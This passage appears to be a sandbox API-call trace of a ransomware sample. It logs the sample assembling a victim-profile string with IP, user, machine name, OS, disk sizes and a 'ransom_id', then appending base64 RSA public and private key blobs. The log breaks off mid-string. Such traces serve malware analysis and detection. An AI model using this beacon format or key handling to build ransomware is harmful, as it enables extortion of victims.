lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=", lpString2="LHNIWSJ" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&", lpString2="pc_group" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=", lpString2="WORKGROUP" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&", lpString2="pc_lang" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=", lpString2="en-US" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&", lpString2="pc_keyb" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=", lpString2="0" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&", lpString2="os_major" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=", lpString2="Windows 10 Pro" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&", lpString2="os_bit" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=", lpString2="x64" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64" [0128.351] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&" [0128.351] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x26e0000 [0128.352] wsprintfW (in: param_1=0x26e0000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&", lpString2="ransom_id" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id" [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=" [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def" [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&" [0128.352] VirtualFree (lpAddress=0x26e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&", lpString2="hdd" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd" [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd", lpString2="=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=" [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=", lpString2="C:FIXED_549227327488/17635446784" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784" [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784", lpString2="&" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&" [0128.352] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&") returned 197 [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784", lpString2="&pub_key=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=" [0128.352] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=") returned 205 [0128.352] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.352] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x26d0000, cbMultiByte=-1, lpWideCharStr=0x8401b2, cchWideChar=368 | out: lpWideCharStr="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 0 [0128.352] lstrcatW (in: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy", lpString2="&priv_key=" | out: lpString1="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=") returned="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=" [0128.352] lstrlenW (lpString="ip=87.142.158.201&pc_user=CIiHmnxMn6Ps&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17635446784&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy&priv_key=") returned 583 [0128.352] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNbQp/g/kSfpnuXl8ZgW/WMBsDi3xuOLVFeo46VfL7kaJnxTDXvYQUn/Ma+5pLmBRfpqdN/QXWIywqY6PoGINsSfbOj+vamgIOpA3TEw14N8XzTR4WMxCYN9zTSJZGDS4pNDpNm+mNbIWa5eSRJF+Jsa2+7OEev8++qj0/PLf67Iw/PjlDY/RckEcw6QY/lrgBtQgBeMGvUGhy48yclHuPSAaxw6yBGT5Y43kzC3TJCOW3lxe5/8zz929UrDzVwp7s7oT6uubT0gk1XSkVmvLYEZGwsQT6Jj1alHwdsEZFVzf9w4G3r9Mjth7NZbvlGZ93JjwbFkGXV1C50L+aJMXRl5TvrZTLaYQlupNgnIfrc87W9wLF9NX+WA3oIOQ21QnH0V6P+sr7LRVPisjtCRbkM2Yv8ljOJLWaWaws08M//332ut+5lvuqCzZabD/MR2Gc12Bmp/myU3YH+LQtSSlBBAf1uZmCtbDosQWCul3hywGzkFJWrKawtZ9oE31DdSDkJgiQseKgSHxrx2jgrcQaYdcVhDvjZFsyB1S5GLdpQO4Og9G+u+Cho/8H8yBvOWVYhNkOfAi7SQURTzQsXqIuxYySmOkVBbo0WcK3PufqVhnFlDO29YeF3XfpGliWHBZFNLoHUJEnfqzGIgoIGHF3lLvMHdYtG5S+HuPo29OAbQogtT0e1DcqqW5fnjVgZ+YSwmbxTQHWOkvdvf2CxvAWdQ1X31dpK9pYztlv8xkL3yKHIu645NBBHQpsFvkCvYJ0DktZM3/TM7XzX25BnFWgw2xgcRtWMl2VN2fTz7HOw8cx6OIcQDDGmAC06XwVoa6o2f7RunZBypt3tzeOii+f01fnJZ/R6N54yFbRqwUKSw1M7jSgnP2TaoFA0=") returned 1564 [0128.352] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x26d0171, cbMultiByte=-1, lpWideCharStr=0x8404a6, cchWideChar=1564 | out: lpWideCharStr="BwIAAACkAABSU0EyAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviyn/AQXJfCNTUwvmUYPZKgA73hP8ouSeE4vJLifw83xyMfmmiItzbGVzqWMunBgWZwPXE6e1scjYk2dWUd40KYQ/AgOJG9zTAw1v2TBqMIBznjSW1i/9a6w+dfyhMSwKg8ds5NDSF42FpZR0nvW2oRGa5HCwivKBU8CF3QH7lwQMlVQJ/P7TrA1vXlGUysHyQzPVbho8dEAx7ybRpjmnfS2tuv9MvuNX/DdY4yNidXdjNFaoGNPMyy9jl07fXc9DmZKy8Nl728SCRWe3XKfxNVCINdnsumAeSNuiQ7efPxhrp2G8YTdNb